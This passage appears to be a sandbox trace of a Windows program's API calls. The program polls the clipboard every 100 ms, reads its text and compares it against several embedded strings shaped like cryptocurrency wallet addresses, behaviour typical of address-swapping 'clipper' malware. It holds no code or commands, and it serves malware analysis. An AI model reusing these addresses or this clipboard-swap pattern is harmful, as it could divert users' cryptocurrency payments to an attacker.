lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0051.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0051.393] Sleep (dwMilliseconds=0x64) [0051.500] GetOpenClipboardWindow () returned 0x0 [0051.510] OpenClipboard (hWndNewOwner=0x0) returned 1 [0051.510] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0051.510] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0051.510] GlobalSize (hMem=0x6069b8) returned 0x42 [0051.510] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0051.510] GlobalUnlock (hMem=0x6069b8) returned 1 [0051.510] CloseClipboard () returned 1 [0051.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0051.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0051.514] Sleep (dwMilliseconds=0x64) [0051.650] GetOpenClipboardWindow () returned 0x0 [0051.650] OpenClipboard (hWndNewOwner=0x0) returned 1 [0051.650] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0051.650] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0051.650] GlobalSize (hMem=0x6069b8) returned 0x42 [0051.650] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0051.650] GlobalUnlock (hMem=0x6069b8) returned 1 [0051.650] CloseClipboard () returned 1 [0051.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 